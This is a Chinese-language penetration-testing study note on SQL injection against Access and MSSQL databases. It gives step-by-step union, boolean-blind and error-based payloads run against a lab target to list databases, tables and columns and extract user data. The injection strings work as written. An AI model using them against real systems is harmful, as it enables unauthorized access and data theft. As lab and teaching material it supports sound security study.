文章目录
- 数据库注入
- access数据库
- 判断access数据库
- 常用函数
- 查询语句构造
- 联合查询
- 布尔型盲注
- mssql数据库
- mssql数据库判断
- 环境---靶机-2k3_sp2
- 常用函数
- 查询语句构造
- 联合查询
- 报错注入
- 布尔型盲注
数据库注入
access数据库
判断access数据库
- 根据url的后缀。ASP为后缀名的是ACCESS数据库
- 在url后面加单引号,以报错信息“Microsoft ole db provider for odbc drivers”判断为access
- 通过and (select count(*) from msysobjects)>0发牛错误页面则为access数据库。msysobjects、msysqueries\msysrelationships为access的三个系统表,web环境下没有权限访问
常用函数
- count():返回统计给定条件的行数
- len():字符串长度,例len(‘database’)返回’8‘
- asc():返回ascii值
- mid(‘字符串’,n,m):返回从第n位开始,截取m长度的字符串
- chr():返回ascii对应的字符
- IIF(条件表达式,true,false):判断条件成立返回true,否则返回false
- exists():判断是否存在数据,返回true或false
查询语句构造
联合查询
先判断数据库类型
- 判断整型注入还是字符型,例?id=5-1和?id=4相同,则整型
- 判断列数:?id=1 order by N
- 枚举获取关键表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值则存在,反之
- 获取回显位置:?id=1 union select 1,1,1 from admin
- 获取数据(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果报错,则没有猜解函数的字段
布尔型盲注
- 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),页面出错则不存在
- 表的行数:?id=5 and (select count(*) from admin)>N
- 猜解字段名:?id=5 and (select uname from admin)
- 猜解字段内容的长度:?id=5 and (select top 1 len( username) from admin)>N
- 获取内容值:用mid函数将内容截取长度,再进行asc函数得到ascii码值,就得到对应的字符了。输入?id=5 and (select top 1 asc(mid( username,M,1)) from admin)>N,M从1看是截取1的长度,用二分法不停尝试N的值,知道找到正确N值,M再加一,最后加至5获取该字段内容为admin。
mssql数据库
mssql数据库判断
- .aspx为后缀的
- 通过?id=5 and (select count(*) from sysobjects)>0,页面正常,则为mssql数据库。因为存在三个系统表,
- sysobjects:存放所有对象。字段有name-对象名、id-对象id、xtype-对象类型、uid、status)
- syscolumns:存放所有字段。字段有name-表名,id-表id,colid-字段id。当xtype=u and status>0时,对象名=表名,对象id=表id
- sysdatabases:保存在master数据库中,保存了所有库名,库id和其他信息
环境—靶机-2k3_sp2
-
开启服务
-
登录数据库
-
http://192.168.43.21:8006/dianpu.aspx?id=1实践
常用函数
- host_name():返回服务器的名称
- Currnet_user:返回当前数据库用户
- db_name():返回当前数据库名称
- CHAR():将ascii转换为字符
- Object_id():返回数据库表名,通常用16进制或sql编码
- col_name(table_id,column_id):返回指定表中的列
- isnull():使用指定的替换值替换null
- substring():返回子字符串,也就是截取
查询语句构造
联合查询
-
判断数据库类型:输入/dianpu.aspx?id=1 and (select count(*) from sysobjects)>0页面正常,为mssql数据库
-
**判断列数:**输入?id=1 order by 14,页面报错,则为13列,并且回显位是字符串时,会在页面显示,这里第10列为字符串
-
**判断回显位置:**字符串的位置用null代替,输入?id=1 union select
1,2,3,4,5,6,7,8,9,null,11,12,13页面报错,意思union执行了默认的去重功能,那这里不需要,所以重新输入为?id=1 union all select 1,2,3,4,5,6,7,8,9,null,11,12,13,
但是页面依然报错,如下,所以哈是有的位置依然不是数字型,只能一个一个将位置置空,换null,来确定哪些是字符型位置,最终确定为?id=-1 union all select 1,2,null,null,55,null,null,8,9,null,null,12,13,页面正常
-
**获取数据库名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from master…sysdatabases,页面显示所有数据库名
-
获取当前数据库名:输入?id=-1 union all select 1,2,null,null,55,db_name(),null,8,9,null,null,12,13 from master…sy,页面显示当前数据库为jiaofan
-
**获取数据库表名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…sysobjects where xtype=0x5500,即jiaofan数据库下的表
-
**获取列名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=0x73006C005F007500730065007200),页面显示表中的列名信息
-
**获取列字段的内容:**输入?id=-1 union all select 1,2,zuocheng,null,55,null,null,8,9,null,null,12,13 from sl_user,即获取sl_user表中zuocheng字段的信息
报错注入
-
**获取数据库名:**输入http://192.168.43.21:8006/list.aspx?quyu=??′¨′ó?§?-°2oóD£??&kouwei=3?à±’ and 1=(select top 1 name from master…sysdatabases where name not in (select top N name from master…sysdatabases)) --+,该语句意思N值从0增加,逐个获取数据库名,查询第一数据库名,查第二个时,需要去更改N值 从报错信息知数据库为master
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I5GhwXk2-1597919684695)(D:\Desktop\乱七八糟\渗透\笔记\图库\1595341928185.png)]
-
**获取当前数据库名:**输入’ and 1=(select db_name()) --+,获取的为jiaofan
-
**获取库里面的表:**输入’ and 1=(select top 1 name from jiaofan…sysobjects where xtype=‘U’ and name not in (select top N name from jiaofan…sysobjects where xtype=‘U’)) --+,显示的表为sl_banner,将N值从0增加,逐个获取表名
-
**获取列名信息:**输入’ and 1=(select top 1 name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’) and name not in (select top N name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’))) --+,同理,逐个获取列名,这里是shouji
-
获取列中的信息:输入’ and 1=(select top 1 shouji from sl_user where shouji not in (select top N shouji from sl_user)) --+,获取到了相应的信息